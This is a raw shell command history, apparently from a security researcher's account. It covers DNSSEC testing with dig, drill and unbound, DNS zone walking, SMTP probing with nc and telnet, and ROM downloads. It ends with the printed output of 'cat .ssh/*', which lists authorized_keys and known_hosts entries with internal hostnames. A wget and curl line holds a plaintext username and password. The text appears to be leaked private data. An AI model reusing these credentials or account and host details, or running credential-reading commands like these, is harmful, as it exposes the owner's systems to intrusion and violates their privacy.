'http://www.google.com/url?sa=t&source=web&ct=res&cd=1&url=http%3A%2F%2Fen.wikipedia.org%2Fwiki%2FTriple_DES&ei=PiwmSqv8JqHYswPIm-SbBg&rct=j&q=3des&usg=AFQjCNGi3G2cND5EvYton6SvtELgpvoDag' 4557 cd dl 4558 ls 4559 find . | grep -i ssl 4560 cd data 4561 ls 4562 ls -l ssl* 4563 more dell_ 4564 more dell_ssl.txt 4565 mysql 4566 mysql db 4567 mysql test 4568 ls 4569 cd .. 4570 find . | grep -i ssl 4571 dig @deluvian.doxpara.com _sshfp._autopop.mail.doxpara.com sshfp 4572 dig @deluvian.doxpara.com _sslfp._autopop.mail.doxpara.com cert 4573 dig @deluvian.doxpara.com _sslfp._autopop.mail.microsoft.com cert 4574 dig @deluvian.doxpara.com +dnssec _sshfp._autopop.mail.doxpara.com sshfp 4575 dig @deluvian.doxpara.com _sslfp._autopop.mail.microsoft.com cert 4576 dig @deluvian.doxpara.com dan.doxpara.com cert 4577 dig @deluvian.doxpara.com dan.doxpara.com cert +dnssec 4578 dig @deluvian.doxpara.com dan.doxpara.com cert +dnssec 4579 pine 4580 pine 4581 ~ 4582 fgfdgdfgdg 4583 cd /export/www/colo.doxpara.com/ 4584 ls 4585 vim etweet.pl 4586 vi etweet.pl 4587 screen -D -R 4588 nslookup -type=txt g.iranelection.toorrr.com 4589 nslookup -type=txt g.iranelection.toorrr.com 4590 nslookup -type=txt g.iranelection.toorrr.com 4591 nslookup -type=txt g.iranelection.toorrr.com 4592 nslookup -type=txt g.iranelection.toorrr.com 4593 nslookup -type=txt g.iranelection.toorrr.com 4594 nslookup -type=txt g.iranelection.toorrr.com 209.200.168.66 4595 dig @209.200.168.66 g.iranelection.toorrr.com txt 4596 dig @209.200.168.66 g.iranelection.toorrr.com txt 4597 dig g.iranelection.toorrr.com txt 4598 dig g.iranelection.toorrr.com txt 4599 dig g.iranelection.toorrr.com txt 4600 dig g.iranelection.toorrr.com txt 4601 dig g.iranelection.toorrr.com txt 4602 dig g.iranelection.toorrr.com txt 4603 ping www.google.com 4604 ping www.failblog.com 4605 ping www.cnn.com 4606 ping www.metblogs.com 4607 netstat -an | grep -i 443 4608 dig microsoft.com mx 4609 dig boingboing.net mx 4610 nc mx1.emailsrvr.com. 25 4611 telnet mx1.emailsrvr.com 25 4612 telnet mx1.emailsrvr.com 25 4613 telnet mx1.emailsrvr.com 25 4614 telnet mx1.emailsrvr.com 25 4615 dig +short boingboing.net mx 4616 whois ohairan.com 4617 nc mail.ohairan.com 4618 nc mail.ohairan.com 25 4619 nc mail.ohairan.com 25 4620 irc 4621 BitchX 4622 whois 74.125.67.100 4623 dig . 4624 dig . any 4625 dig A.ROOT-SERVERS.NET. 4626 wget http://www.unbound.net/downloads/unbound-latest.tar.gz 4627 tar xzvf unbound-latest.tar.gz 4628 cd unbound-1.3.0/ 4629 ./configure 4630 make 4631 gmake 4632 cat > sample.c 4633 gcc -I ./libunbound -L . -o sample sample.c 4634 gcc -I ./libunbound -L . -o sample sample.c -lunbound -lcrypto 4635 gcc -I ./libunbound -L . -o sample sample.c libunboundla -lcrypto 4636 gcc -I ./libunbound -L . -o sample sample.c libunbound.la -lcrypto 4637 gcc -I ./libunbound -L . -o sample sample.c libunbound.la -lcrypto 4638 gcc -I ./libunbound -L . -o sample sample.c -lunbound -lcrypto 4639 gcc -I ./libunbound -L /usr/local/lib -o sample sample.c -lunbound -lcrypto 4640 ./sample 4641 fg 4642 vim sample.c 4643 vi sample.c 4644 cat > root.hints 4645 cat > root.keys 4646 ./sample 4647 gcc -I ./libunbound -L /usr/local/lib -o sample sample.c -lunbound -lcrypto 4648 ./sample 4649 time ./sample 4650 dig +dnssec www.afilias.org 4651 fg 4652 vim sample.c 4653 vi sample.c 4654 gcc -I ./libunbound -L /usr/local/lib -o sample sample.c -lunbound -lcrypto 4655 ./sample 4656 ./sample www.news.com 4657 ./sample www.fark.com 4658 ./sample www.dnssec.se 4659 fg 4660 ./sample www.dnssec.se 4661 vim sample.c 4662 vi sample.c 4663 gcc -I ./libunbound -L /usr/local/lib -o sample sample.c -lunbound -lcrypto 4664 ./sample www.dnssec.se 4665 ./sample www.afilias.org 4666 ./sample c0.org.afilias-nst.info. 4667 ./sample dnssec.org 4668 ./sample 166.68.193.in-addr.arpa. 4669 ./sample www.whitehouse.gov 4670 ./sample www.highinberlin.de 4671 ./sample www.dnssec.se 4672 ./sample www.dnssec.se 4673 ./sample www.dnssec.se 4674 ./sample www.iis.se 4675 ./sample dotgov.dnsops.gov 4676 ./sample www.iana.org 4677 ./sample www.fark.com 4678 ./sample gov 4679 ./sample org 4680 ./sample org 4681 ./sample afilias.org 4682 ./sample dnssec.org 4683 ./sample org 4684 ./sample www.dynamicnetworkservices.com 4685 ./sample www.dnsops.gov 4686 ./sample version.dnssec.se 4687 cd 4688 wget http://josefsson.org/walker/releases/walker-3.8.tar.gz 4689 tar xzvf walker-3.8.tar.gz 4690 cd walker-3.8 4691 ./walker 4692 ./walker dnssec.se 4693 ./walker se 4694 4695 ./walker nonex.dnssec.se 4696 cd 4697 cd unbound- 4698 cd unbound-1.3.0/ 4699 ./sample nonex.dnssec.se 4700 ./sample www.stern.de 4701 ./sample www.anon-proxy.de 4702 ./sample de 4703 ./sample se 4704 ./sample gov 4705 ./sample usgs.gov 4706 ./sample gq 4707 ./sample mil 4708 dig +dnssec @204.61.216.37 foo 4709 dig +dnssec @204.61.216.37 foo.com 4710 dig +dnssec @204.61.216.37 coop 4711 dig +dnssec @204.61.216.37 cr 4712 dig +dnssec @204.61.216.37 gov 4713 ./sample gov 4714 dig +dnssec @204.61.216.37 gov 4715 dig +dnssec @204.61.216.37 org 4716 dig +dnssec @204.61.216.37 org 4717 dig +dnssec @204.61.216.37 B2.ORG.AFILIAS-NST.org. 4718 ./sample B2.ORG.AFILIAS-NST.org. 4719 dig @B0.ORG.AFILIAS-NST.org. 4720 dig +secure @B0.ORG.AFILIAS-NST.org. 4721 dig +dnssec @B0.ORG.AFILIAS-NST.org. 4722 dig +dnssec @B0.ORG.AFILIAS-NST.org. $B0.ORG.AFILIAS-NST.org 4723 dig +dnssec @B0.ORG.AFILIAS-NST.org. org 4724 dig +dnssec @B0.ORG.AFILIAS-NST.org. www.afilias.org 4725 ./configure --help 4726 ./configure --help | grep -i nsec 4727 find . | xargs grep nsec3 4728 cd 4729 cd walker-3.8 4730 ./walker 4731 ./walker www.dnssec.se 4732 ./walker dnssec.se 4733 ./walker se 4734 cd .. 4735 cd unbound- 4736 cd unbound-1.3.0/ 4737 ./sample 0-3.se. 4738 ./sample www.0-3.se. 4739 cd .. 4740 cd walker-3.8 4741 ./walker gov 4742 ./walker de 4743 ./walker gov 4744 ./walker com 4745 ./walker org 4746 dig +dnssec +trace www.dnssec.se 4747 dig @209.200.168.67 foo.com 4748 dig +dnssec @209.200.168.67 foo.com 4749 dig +dnssec @209.200.168.67 foo.com 4750 dig +dnssec @209.200.168.67 foo.com dnskey 4751 cd sample 4752 cd unbound-1.3.0/ 4753 ls 4754 mkdir real 4755 mv root* real 4756 cat real/root.keys 4757 cat > root.keys 4758 cat real/root.hints 4759 vim root.hints 4760 vi root.hints 4761 ./sample foo.com 4762 ./sample foo.com 4763 ./sample www.cnn.com 4764 ./sample www.doxpara.com 4765 dig +dnssec @209.200.168.67 foo.com 4766 dig +dnssec @209.200.168.67 dnskey 4767 dig +dnssec @209.200.168.67 dnskey 4768 dig +dnssec @209.200.168.67 dnskey 4769 dig +dnssec @209.200.168.67 cnn.com dnskey 4770 date 4771 ntpdate 4772 ./sample www.doxpara.com 4773 ./sample www.doxpara.com 4774 ./sample www.doxpara.com 4775 dig @209.200.168.67 . 4776 dig @209.200.168.67 . 4777 dig @209.200.168.67 . 4778 dig @209.200.168.67 . 4779 dig @209.200.168.67 . 4780 dig @209.200.168.67 . 4781 dig @209.200.168.67 . 4782 ./sample www.doxpara.com 4783 find . | xargs grep verbose 4784 find . | xargs grep "root-hints" 4785 vim ./util/configlexer.lex 4786 vi ./util/configlexer.lex 4787 vim sample.c 4788 vi sample.c 4789 gcc -I ./libunbound -L . -o sample sample.c -lunbound -lcrypto 4790 gcc -I ./libunbound -L . -o sample sample.c -lunbound -lcrypto 4791 gcc -o sample sample.c -lunbound -lcrypto 4792 gcc -I ./libunbound -L /usr/local/lib -o sample sample.c -lunbound -lcrypto 4793 ./sample www.doxpara.com 4794 ./sample www.doxpara.com 4795 ./sample www.doxpara.com 4796 dig @209.200.168.67 dakadns. DNSKEY 4797 dig @209.200.168.67 dakadns. DNSKEY 4798 dig @209.200.168.67 dakadns. DNSKEY 4799 dig @209.200.168.67 dakadns. DNSKEY 4800 ./sample www.doxpara.com 4801 ./sample www.doxpara.com 4802 dig dnssec.se dnskey 4803 dig +dnssec dnssec.se dnskey 4804 dig +dnssec dnssec.se dnskey 4805 dig +dnssec se 4806 dig +trace +dnssec www.dnssec.se 4807 dig +trace +dnssec www.dnssec.se dnskey 4808 dig afilias.org 4809 dig afilias.org +trace 4810 dig afilias.org +trace dnskey 4811 dig +trace +dnssec www.dnssec.se dnskey 4812 dig +trace +dnssec dnssec.se dnskey 4813 drill 4814 ls 4815 find . | grep -i drill 4816 cd ldns-src 4817 ./drill/ 4818 cd drill/ 4819 ls 4820 make 4821 cd .. 4822 make 4823 gmake 4824 ls 4825 find . | grep -i drill 4826 ./configure 4827 drill 4828 make 4829 gmake 4830 make drill 4831 gmake drill 4832 ls 4833 drill 4834 cd drill/ 4835 ls 4836 gmake 4837 ./configure 4838 gmake 4839 ./drill 4840 ./drill 4841 ./drill www.dnssec.se 4842 ./drill www.dnssec.se -h 4843 ./drill +dnssec www.dnssec.se 4844 ./drill -j www.dnssec.se 4845 ./drill -h www.dnssec.se 4846 ./drill -D www.dnssec.se 4847 ./drill -T -D www.dnssec.se 4848 ./drill -T -D www.dnssec.se 4849 ./drill -T -D -h 4850 ./drill @209.200.168.67 -D www.cnn.com 4851 ./drill @209.200.168.67 -D www.cnn.com DNSKEY 4852 ./drill @209.200.168.67 -D www.cnn.com 4853 ./drill @209.200.168.67 -D -T www.cnn.com 4854 ./drill @209.200.168.67 -k ~/unbound-1.3.0/root.keys -D -T www.cnn.com 4855 ./drill @209.200.168.67 -k ~/unbound-1.3.0/root.keys -D -T www.cnn.com 4856 ./drill @209.200.168.67 -k ~/unbound-1.3.0/root.keys www.cnn.com 4857 ./drill @209.200.168.67 -k ~/unbound-1.3.0/root.keys www.cnn.com -D 4858 ./drill @209.200.168.67 -k ~/unbound-1.3.0/root.keys -DT www.cnn.com 4859 ./drill -h 4860 ./drill -r ~/unbound-1.3.0/root.hints 7 -k ~/unbound-1.3.0/root.keys -DT www.cnn.com 4861 ./drill -r ~/unbound-1.3.0/root.hints 7 -k ~/unbound-1.3.0/root.keys -DT www.cnn.com 4862 ./drill -r ~/unbound-1.3.0/root.hints 7 -k ~/unbound-1.3.0/root.keys -DT www.cnn.com 4863 ./drill -h 4864 cd .. 4865 cd .. 4866 drill 4867 drill -r root.hints 4868 drill -r root.hints 4869 drill -r root.hints 4870 cat root.hints 4871 drill -r root.hints 4872 drill -r ./root.hints 4873 drill 4874 drill -h 4875 drill -r ./root.hints -T 4876 drill -r ./root.hints -T www.cnn.com 4877 drill -r ./root.hints -DT www.cnn.com 4878 drill -r ./root.hints -k root.keys -DT www.cnn.com 4879 drill -r ./root.hints -k root.keys -DT www.cnn.com 4880 drill -r ./root.hints -k root.keys -DT www.cnn.com 4881 drill -r ./root.hints -k root.keys -DT www.cnn.com 4882 drill -r ./root.hints -k root.keys -DT www.cnn.com 4883 drill -r ./real/root.hints -k real/root.keys www.dnssec.se 4884 drill -r ./real/root.hints -k real/root.keys www.dnssec.se 4885 drill -r ./real/root.hints -k ./real/root.keys www.dnssec.se 4886 cat real/root.keys 4887 cd real/ 4888 ls 4889 cp root.keys root.keys.orig 4890 vim root.keys 4891 vi root.keys 4892 cd .. 4893 drill -r ./real/root.hints -k ./real/root.keys www.dnssec.se 4894 cd real/ 4895 ls 4896 cat root.keys 4897 cat root.keys | tr -d \n 4898 cat root.keys | tr -d '\n' 4899 cat root.keys | tr -d '\n' | tr -s ' ' 4900 cat root.keys | tr -d '\n' | tr -s ' ' > real 4901 ls 4902 mv real root.keys 4903 vim root.keys 4904 vi root.keys 4905 cd .. 4906 drill -r ./real/root.hints -k ./real/root.keys www.dnssec.se 4907 drill -DT -r ./real/root.hints -k ./real/root.keys www.dnssec.se 4908 drill -DT -r ./real/root.hints -k ./real/root.keys www.dnssec.se 4909 drill -DT -r ./real/root.hints -k ./real/root.keys www.dnssec.se 4910 ls 4911 cat root.keys 4912 cat root.hints 4913 drill -DT -r root.hints -k ./real/root.keys www.dnssec.se 4914 drill -DT -r root.hints -k root.keys www.dnssec.se 4915 drill -DT -r root.hints -k root.keys www.dnssec.se 4916 drill -DT -r root.hints -k root.keys www.dnssec.se 4917 drill -DT -r root.hints -k root.keys www.dnssec.se 4918 drill -DT -r root.hints -k root.keys $RANDOM.doxpara.com 4919 drill -DT -r root.hints -k root.keys $RANDOM.doxpara.com 4920 dig @209.200.168.67 F.ROOT-SERVERS.NET 4921 dig @209.200.168.67 F.ROOT-SERVERS.NET 4922 dig @209.200.168.67 F.ROOT-SERVERS.NET 4923 dig @209.200.168.67 F.ROOT-SERVERS.NET 4924 dig @209.200.168.67 F.ROOT-SERVERS.NET 4925 dig @209.200.168.67 F.ROOT-SERVERS.NET 4926 dig @209.200.168.67 F.ROOT-SERVERS.NET 4927 dig @209.200.168.67 F.ROOT-SERVERS.NET 4928 dig @209.200.168.67 F.ROOT-SERVERS.NET 4929 dig @209.200.168.67 F.ROOT-SERVERS.NET 4930 dig @209.200.168.67 F.ROOT-SERVERS.NET 4931 drill -DT -r root.hints -k root.keys $RANDOM.doxpara.com 4932 drill -DT -r root.hints -k root.keys $RANDOM.doxpara.com 4933 cat real/root.hints 4934 dig @208.77.188.32 L.ROOT-SERVERS.NET 4935 dig @208.77.188.32 L.ROOT-SERVERS.NET +dnssec 4936 dig @208.77.188.32 L.ROOT-SERVERS.NET +dnssec 4937 dig @208.77.188.32 L.ROOT-SERVERS.NET +dnssec 4938 dig @208.77.188.32 L.ROOT-SERVERS.NET +dnssec 4939 ls 4940 cd real/ 4941 ls 4942 ../sample www.dnssec.se 4943 ../sample www.dnssec.se 2> /dev/null 4944 ../sample www.dnssec.se 2> /dev/null 4945 ../sample www.dnssec.se 2> /dev/null 4946 dig a.root-servers.net 4947 cd 4948 cd dl 4949 wget http://www.watters.ws/rpms/roms/snes/Secret%20of%20Mana.zip 4950 cd dl 4951 mkdir game 4952 cd game 4953 wget -r -l1 http://www.watters.ws/rpms/roms/snes/ 4954 airhook 4955 cd airhook-2 4956 ./airproxy -l 12000 -o 22 4957 ./airproxy -l 12000 -o 22 4958 ./airproxy -l 12022 -o 22 4959 cd dl 4960 mkdir new 4961 mkdir n 4962 cd n 4963 cat > goget.txt 4964 wget --no-check-certificate --user=effugas.2 --password=fuck.2 -i goget.txt 4965 for i in `cat goget.txt`; do curl -k -u effugas.2:fuck.2 -O $i; done 4966 ls 4967 rm *avi 4968 ls 4969 wget --no-check-certificate --user=effugas2 --password=fuck.2 -i goget.txt 4970 pwd 4971 fg 4972 ls 4973 rm * 4974 cd /export/www/colo.doxpara.com/ 4975 cat > dns.txt 4976 ls -l dns.txt 4977 pine 4978 cd 4979 mv Nothing\ but\ Net\ -\ 2009\ Internet\ Investment\ Guide.pdf /export/www/colo.doxpara.com/net.pdf 4980 more netcat-0.7.1 4981 cd /export/www/colo. 4982 cd /export/www/colo.doxpara.com/ 4983 more net.pdf 4984 %ls -la .ssh/ 4985 total 36 4986 drwxr-xr-x 2 effugas wheel 512 Nov 9 2005 . 4987 drwx------ 68 effugas wheel 5120 Jul 17 11:43 .. 4988 -rw-r--r-- 1 effugas wheel 1222 Sep 8 2008 authorized_keys 4989 -rw-r--r-- 1 effugas wheel 1211 Sep 8 2008 authorized_keys2 4990 -rw-r--r-- 1 effugas wheel 4749 Sep 8 2008 known_hosts 4991 %cat .ssh/* 4992 ssh-dss 4993 AAAAB3NzaC1kc3MAAACBAIbMIL3650aavJ1W89+NQUvWUAIEvzp7nUK35UB5AfZom8Efa0pgh3rj3ps 4994 gXk9dB19grUuulKkBKLsv4sWv0MOkPd0NLOYOjAQhoyo4vqS7r/1gI57P7RmF7BUJzVduh8ommtbpkD 4995 rf7pP2GtvviBRJwGoHdpZecc+bx5/Ew7PFAAAAFQD7DzAkyFmYb3aH3I/BawF5Y5u3BwAAAIB1uyDMv 4996 hFZshTZJHieXRY8ymCUJTArb6yYRSQL3f0pUyBNud9ojc0wGCEUrenho0FU7I3CFqNh+eDhvPr7luVr 4997 xHqiKtCu37fiG+HfBU/KiRoJI7UtdHK9Mi89XBi02Zh4X+sFoX1pubVH5VMOmtQuDn9gJi9L11l0x2k 4998 HUL/VhQAAAIBBcIEN9AVvKd3/bndPAtesLVLY5KXtvYHMdtN3iyj6Us4ei/TAyA9g/4aNHWeSz2irZm 4999 KBOZqVbzy27aeFiU+A1T//wHqtsBvlCQyWkLbw8ndy/fMg/CtK1ErvsedsT5RSmnT1GXEzuNQvEi19R 5000 nR+WhQHes8FuX+FE6u/nVDomw== kaminsky@avaya-8j8h5dc15 5001 ssh-dss 5002 AAAAB3NzaC1kc3MAAACBAJ+WvdG7iu2bzetu1ot9692qeXuhjqcEWUrTq2uwUR/X2EiclfYdBcjeUMZ 5003 4uu9sQDpbSYZ2VNu97YYzM+2Z8VdDnW2Bt+Tpan49eUcttgIPvCAibPTJHqrwTyeJE+lPrqq11qnFYW 5004 nR/wVRt0Ouf579e8CS0GJVvIuC/oSE4QEPAAAAFQDOEApeEzWHJkYYeQQvxfvxNL9NAQAAAIBYy0k3Y 5005 8U021sjqwMeqe+xp0rLqV+6giXzE5ccI9G61UxhA7wFQluXpHobwgnKbIgwnGLymWp5DhDmgv0dNzl+ 5006 cgnKgNg+9hXhQ5k3jLbI1sSBzwb1HD70i7kvvMhMXcihGyhdZ7BBqKfIohdPodynKwwO3tebwJlE9rl 5007 cSWMTvAAAAIBgoyTRPIb1arSy20xzZO548c07v18PSdxMWCjL1urwqDl5zZq+SUrB7B2L5xPr6m6nz7 5008 sTgYFI0ZnxvXJg0PilDAbYcggVcOPrdvcKpJQx9tcn1lPeRYgpCzB5iyqwD/tBhEp0wv4wbvFHgVDZk 5009 rIS6NFKvcitBxsO9TfdbPkGaw== dan@v-dakami-styro 5010 ssh-dss 5011 AAAAB3NzaC1kc3MAAACBAMfpCLXVIDpATuWVjdFYCdrnkgwzkc8yplVF7TFUzFcxFr1Vi/+lKFe2TaD 5012 AnUYpTnZpSPvsEPe+s2SWEOS8EX1gM5iT4Z/8ThOXKtEi1fTkGBsqKy1A4YeesooRlKW54MrCDMX2C5 5013 l+VTgMMgqO9Dp86YM+lNpYhh+HKz+gHnixAAAAFQCV7/+zWBfgoVXjUheV5kbDCHSC5wAAAIEAlMHWJ 5014 ymTMAW8Du/fRgZVUTM1XFqQqwWiX28Ir3oYnzszoM/tNUMyVTisS6Fd+xgehC2t2FcGRiipwbatydhT 5015 19pX5dndoTGZEpSOnTVv9EcmMGb0bjQ7YEIOdCk2dPsOjRwnwwX/LolbYKhb8e0lX1Y9r9f8KPVnVXG 5016 6Wpu0TywAAACBAJDNmXtTPRu603+utnGUv98vuyii/eQeV7lk2TgxY12mjfcdWSK3bGP9afSatSGRPj 5017 qUCJW9SWAvCD5xe5pSlUrz3nv7Gh2ahUZWV7DCGoPSgrb3eC5AHcyQ+q+f9NrY623nanBoZkkTQjIrA 5018 shFrIGqD10RCQwKM47PkmE34qY3 root@deluvian 5019 ssh-dss 5020 AAAAB3NzaC1kc3MAAACBAJ+WvdG7iu2bzetu1ot9692qeXuhjqcEWUrTq2uwUR/X2EiclfYdBcjeUMZ 5021 4uu9sQDpbSYZ2VNu97YYzM+2Z8VdDnW2Bt+Tpan49eUcttgIPvCAibPTJHqrwTyeJE+lPrqq11qnFYW 5022 nR/wVRt0Ouf579e8CS0GJVvIuC/oSE4QEPAAAAFQDOEApeEzWHJkYYeQQvxfvxNL9NAQAAAIBYy0k3Y 5023 8U021sjqwMeqe+xp0rLqV+6giXzE5ccI9G61UxhA7wFQluXpHobwgnKbIgwnGLymWp5DhDmgv0dNzl+ 5024 cgnKgNg+9hXhQ5k3jLbI1sSBzwb1HD70i7kvvMhMXcihGyhdZ7BBqKfIohdPodynKwwO3tebwJlE9rl 5025 cSWMTvAAAAIBgoyTRPIb1arSy20xzZO548c07v18PSdxMWCjL1urwqDl5zZq+SUrB7B2L5xPr6m6nz7 5026 sTgYFI0ZnxvXJg0PilDAbYcggVcOPrdvcKpJQx9tcn1lPeRYgpCzB5iyqwD/tBhEp0wv4wbvFHgVDZk 5027 rIS6NFKvcitBxsO9TfdbPkGaw== dan@v-dakami-styro 5028 64.81.64.164 ssh-dss 5029 AAAAB3NzaC1kc3MAAACBAJdeuSigqiBzh1FyeS3aP553guQwlVw2yKB2ybhOTAWydLg9hMTyEPP03Fv 5030 qYTH6DKDp4ZiitD3qyQ4IIW6OJESdJI0MoAsyx6StWbrBBbPtdPCp6evELMEHW3ij2YYQ9/XnYyKzbM 5031 nfTjj21v1UNOYp/tW9ruqpXgkR+f/VL8URAAAAFQCp+YXeAw40gBek+O0445aVHwL+0wAAAIBWZzk9k 5032 /smtfLXV0OI/y/qyJT4EUDCK0bRQirq3AOXR58rgon9/Q1UCyLdIqBLjZke0vaWJgSzGD/XdSLhx1Lv 5033 XYioQvvnyOLNVZDVP5koOB/pYIGQ9TwVwgBoL0X6ZCvnShZ648wu7aEInVLFP5TxxKHeAGQvx8tB5nB 5034 CwiKe6wAAAIA+AQp/BoSRwmSL2lus4zEEDsrmReHXZQwFcWGhkwLiMLPdw9HuHzMqfD7TBLwDGnOoEf 5035 Vl7vizxiaYUzVllSdiplkI4juJw+ApioItkjRdFo+X9KjNsQhtYe20yCvx4OFOIiB1miSawEbe34c7G 5036 M5VBKGQL4ClMLkpZ+W0gEe3EQ== 5037 scan.doxpara.com ssh-dss 5038 AAAAB3NzaC1kc3MAAACBALGVYHAJYr0DR4QX2YLhARTk0WW8HVnnR1xOIC6JeZbk89CM5F6P8VJKq2a 5039 hMkmGQkIqZtVvdmvjmfhxaTUS8lXtCM5rLO94yz7bgMrWtaoZTXCnEA1aBzhW3YMD/2ByPlJU2lO0Qe 5040 h09HFgIAquSYbCEYFE5lGVP5LTT5W1Y8SlAAAAFQC7x95hEymD5hB3jY+1zD6DfWcX5QAAAIBnqp1PQ 5041 WU0E3SiYzKB6lKqYm9rzh8ogkHcN6mBpW0kODNETt0xW5vXhE5hP83qX9ZF4WpCl6TSdmI72h8hOq48 5042 jhUzqhuoqGepFYXlDUTK4LxzD77YRB2lohP+/eVkLKmzv5IevbOzAJFU98E207u9nIZnnYtEbRYy8oS 5043 khLbrDQAAAIEApkzPne/BmYH9h8pW0YAVxu4uM1j4QjsS0UrytJYPQKmPCgxUoypI/LYFB1yqZ1pzFw 5044 AjBhXUFENQuJ/Lmf8smtyt+ETUrUSsakPtEOuNq5+SHHXsyGNERDm455Su+cMu2+W4+/36Kq53TAYN7 5045 YtggKFrh6DcqEl8rELCK6ytlYc= 5046 iahu.ca ssh-dss 5047 AAAAB3NzaC1kc3MAAACBAMyspq4LQUMKNdT4I98KQiO7M85kIg9IBCw+GLNiHIU98wM7JsiLDF+ntAy 5048 jQFRaxaEm/Vs2XIHDBNiIXyqhBEpNhMwDfrAsiB5Jyx8VdcVk23Y/oRENU63wCkOeIZDJ0Ed9ekv1/w 5049 /2RIWGXroqIuwtUTpCgv5EaVl0jLDQOAUzAAAAFQCLrFsMcvBmmTqEjpveYpziCNRYcQAAAIEAy8jVh 5050 k2u7P/40YcWs2ALHADw90S4mID6V8y8JoJchrnv+Lxm2u4no+3rMFe2vCCqyuR0/LyzAwB/83+qR8fD 5051 lz6Z6BWn86E/ln4+yWZEf5RazSQWDQuIxNmoQQhM3FTdMgY0Ygu2/IiC4Ud8Cgi2LBrKo/L+siOVwSS 5052 ZSof1DIMAAACAfuWlhxtuoJ6AVj6QYHb4GT8Ty6dwdkTbQYosOaFe3xVmWRM+I+VtMX5ThgHbpA28WS 5053 bupXNwi9k6cj/uakbnYxTfIkAKWz72C+YV6M61GZ41GctKFrkw4B2L2PtovqQOWOc44de6VbEJPTXg2 5054 JgcRQPpmNvPGsFlq0vUuCEcjGo= 5055 www.doxpara.com ssh-dss 5056 AAAAB3NzaC1kc3MAAACBAMRswnXuWSrx3GKx4BZLu3ECQmH6/NMLPEVEpkA/0kYxkC/qaFFy78pJZrL 5057 UZPiv//agPo0Sy++blLY+RWYy0tUURIMos4OtxaPJpYRVvJt9LUCBnaZteqS1ySz/EQ3RGA68c9eivw 5058 xEj3p2leTgkm0glOYbJgUjYApbanLFVIWNAAAAFQD+79pVXrStiEizoqE2mauMxqrchwAAAIBJw1G93 5059 S0YyoFDazaPh9HWosXnkHHu+rr8JbEs45JmuI6b+2PmuKZMKV74yj4/9IBI1SEQ46eStJRuf5xCI8Su 5060 LxGM2DD+Hq25a52sTZW/vm9l6RrpwodlO+60AUE8AYnVLrwfLeFuGxsUxnnFuzFC8lzxTAfaNuxnYE7 5061 UESbVUgAAAIEAj2o/xnsFEsGZ3N3xvz5BwmX4eSP4Kzrm39Zx8UWdPWE/HnnFgabs+eYQq3Sny41wEd 5062 wTlwsNAnro88Q82w/BeApPvJZo0EluHVT8xAJUQUot2LseWo26q0cuqe7enaqW1e7SzVy26BsmiPI+i 5063 kelDYPPD37PuQpis3TxYEFqJXE= 5064 127.0.0.1 ssh-dss 5065 AAAAB3NzaC1kc3MAAAEBAKC3olePMEjqA5NzNVG8ZoiG9QdFEdZzR44cv1Abz/yb4YRRLDHSDpf5ADx 5066 areqwXEadsSA9mWvEzZzSMv4EAkW2Vk9Rc1Z17HCCuaErQrYze/AxHHj33x13VUt73Kf1M8t40k3inr 5067 0ou94yhgEAYmgQh7iRg/M1+X9tc2rPRkzEhZGjgFyCGAIDhq5SwtGAHILCuyb7hAJAq0iSu7tlz9XLI 5068 J9NDdkbaw+YuxfqZiiZdYJitMGotA+j162TGjq3XGiG7x0rCscF8V9exBfJ7mnDDzvXlG2dTS7H7TBv 5069 fyopkBLtOd14x8hAUJtWmbDWChXXlEQ4x8DjoXtLmME/2Y8AAAAVAMhO8csH950pSRsYRtoAiYRgyiv 5070 FAAABABMLbU/fTFcgeUG7kcBYMD/OQ9gOrR29d7lAXjKVwpgTwQYF+VdznD4x3LDdz/0gvwl0Hs+Kdu 5071 vsaayLhRmJZ0bVg4D717mB8wrb5OvHUuU0afh1XXpVICFF8WdGFtIbuL7H6VCpf4G1D+I4xcl2LAeue 5072 6WbVN5gho0HKKvZikb9EQnVREUsWO9of2ikgE054dOTOlv+C+ic8csnkf8wsjDSZXlU5eTBePwKBnT3 5073 HcKjM2tcjuyMAXazAH4ksXo8toFTAefCjCGJmffTTaX9jGIJKtZXRmqkK/+qngu9My9oOJlFCyW65ex 5074 Ca+02rdWV6Pgd0D2Hk6dVE3qscBUpXLQAAAEBAI+MvvMq5N6C9qRQNvYYmYOqNLTWC9kK8Iae884Lm+ 5075 Zyu96S8q8AF/qWa0hUd/9ugB7eD0CbkDBBNPCEE3lAH2onMhNKYgSbGvUOS/BrInbiwkjkvQ8yGMLF6 5076 0fr7DRzTwGWTVoIBDgf9Fn45QSL+3S3FDDDNEoyr6kwDmvVsvCymIAQkfJUaDULt3hdvyZ+EauRGwZM 5077 EQfkpyJQYUuYsP5n9VQcGSxFsGAZLIjsHcAjCUQj1fILkXmMumw8D2efYNeCrF91G5UFL2WOHyVK0YY 5078 71OcoO2fTAMj7qZxaj2PUT7zfz3+OXfuzkwXpsRmcEDEcu/ofC7jxPkdCnrhe3DI= 5079 [kesselrun.com]:2582 ssh-dss 5080 AAAAB3NzaC1kc3MAAACBAPQBgp++G7uf5K6G5uz++lqweRMuTLKV5wKY08k1CXFGU4ewFiRnCceFrcg 5081 Tc7W9c1HjyT4iNZDHCQCVpwp6IrWRoIEgr6e7uPut0uMavhbLsHHELIcQK6Z31z5wKKwmTQBRfTS+JM 5082 W19gqZSN3yo/6ZFsHhuUItfcfYekLoApr1AAAAFQCsMKXv28Lniuq0ktEhu6FA6Miy+wAAAIEAqoGdz 5083 UhTkURwmB6BYNskWHeZUfvJjS+Elojtx7wK4NhXg4T+2XYfe+b4mhSMkSGwCGMyfNHpQPgNgkaeBJgo 5084 62epoJPNq3x3hY3h6AAP/boe9BLnbihQdoOjKfx/Kn6ZhmL3oF16zYy7xHA7WOUJxiGLC7RiUmfO+kU 5085 zNDAkPdsAAACAQLvUqTCx7XYf3enIALFCEl8wo05VKTAdlXRZJYFCTplFyhrS0IrNtF9556UD2jtILY 5086 Z9yarRvhcMF7O60vnvVG5r9iWOoIwvE6zWorr5jNtpr179auvdP2Kuo9NJl84b8qV6t6ZmNDraGRbV1 5087 6SEv6GCgeqJraLgrMWWhmCDwkA= 5088 shaitan1.lightconsulting.com ssh-dss 5089 AAAAB3NzaC1kc3MAAACBAMMrzcx0ezsqHdn3cXWoJPNBnjZTsI4etOxp89TGeeceaaYkBpu0t7eVppr 5090 RUUZd0A5+HnfQtzpllePOKVZOEMT8tyBq2yzRb/5XXgtMbq0XpHdjeUeCDbRfJhfBs93MycUkACGiMQ 5091 kwJyYZzos2+uoMSW+oN7uI3+bZf4aAgbWbAAAAFQCkIvJw58KPEbb4ntpwGrBf/O+qYwAAAIB7HXGF5 5092 